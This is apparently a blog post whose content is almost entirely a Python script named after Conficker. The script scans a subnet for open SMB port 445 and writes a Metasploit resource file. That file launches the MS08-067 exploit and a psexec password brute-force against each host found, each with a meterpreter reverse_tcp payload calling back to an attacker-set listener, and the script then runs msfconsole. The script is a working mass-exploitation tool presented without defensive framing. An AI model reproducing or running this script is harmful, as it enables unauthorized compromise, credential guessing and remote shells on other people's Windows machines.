• conficker


    import os
    import optparse
    import sys
    import nmap

    def findTgts(subNet):
        nmScan = nmap.PortScanner()
        nmScan.scan(subNet, '445')
        tgtHosts = []
        for host in nmScan.all_hosts():
            if nmScan[host].has_tcp(445):
                state = nmScan[host]['tcp'][445]['state']
                if state == 'open':
                    print '[+] FOund Target Host: '+ host
                    tgtHosts.append(host)
        return tgtHosts
    def setupHandler(configFile, lhost, lport):
        configFile.write('use exploit/multi/handler ')
        configFile.write('set payload '+'windows/meterpreter/reverse_tcp ')
        configFile.write('set LPORT '+ str(lport)+ ' ')
        configFile.write('set LHOST'+ lhost + ' ')
        configFile.write('exploit -j -z ')
        configFile.write('setg DsiablePayloadHandler 1 ')
    def confickerExploit(configFile, tgtHost, lhost, lport):
        configFile.write('use exploit/windows/smb/ms08_067_netapi ')
        configFile.write('set RHOST '+ str(tgtHost) + ' ')
        configFile.write('set payload '+ 'windows/meterpreter/reverse_tcp ')
        configFile.write('set LPORT '+ str(lport) +' ')
        configFile.write('set LHOST '+ lhost +' ')
        configFile.write('exploit -j -z ')
    def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
        username = 'Administrator'
        pF = open(passwdFile, 'r')
        for password in pF.readlines():
            password = password.strip(' ').strip(' ')
            configFile.write('use exploit/windows/smb/psexec ')
            configFile.write('set SMBUser '+ str(username) +' ')
            configFile.write('set SMBPass '+ str(password) +' ')
            configFile.write('set RHOST '+ str(tgtHost) +' ')
            configFile.write('set payload '+ 'windows/meterpreter/reverse_tcp ')
            configFile.write('set LPORT '+ str(lport)+' ')
            configFile.write('set LHOST '+ lhost+' ')
            configFile.write('exploit -j -z ')
    def main():
        configFile = open('meta.rc', 'w')
        parser = optparse.OptionParser('[-] Usage%prog '+ '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
        parser.add_option('-H', dest = 'tgtHost', type = 'string', help = 'specify the target address[es]')
        parser.add_option('-p', dest = 'lport', type = 'string', help = 'specify the listen port')
        parser.add_option('-l', dest = 'lhost', type = 'string', help = 'specify the listen address')
        parser.add_option('-F', dest = 'passwdFile', type = 'string', help = 'password file for SMB force attempt')
        (options, args) = parser.parse_args()
        if (options.tgtHost == None ) | (options.lhost == None):
            print parser.usage
            exit(0)
        lhost = options.lhost
        lport = options.lport
        if lport == None :
            lport = '1337'
        passwdFile = options.passwdFile
        tgtHosts = findTgts(options.tgtHost)
        setupHandler(configFile, lhost, lport)
        for tgtHost in tgtHosts:
            confickerExploit(configFile, tgtHost, lhost, lport)
            if passwdFile != None:
                smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
        configFile.close()
        os.system('msfconsole -r meta.rc')
    if __name__ == '__main__':
        main()
                
                        
                
               

  • 相关阅读:
    hdu2896 病毒肆虐【AC自动机】
    poj1066 Treasure Hunt【计算几何】
    vue教程3-webpack搭建项目
    棋牌手游在线人数监控系统
    vue教程2-组件化开发
    vue教程1-初体验
    DRF教程6-分页
    DRF教程5-API接口文档和接口测试
    DRF教程4-视图集和路由类
    DRF教程3-类视图
  • 原文地址:https://www.cnblogs.com/Muzeer/p/8017684.html
Copyright © 2020-2023  润新知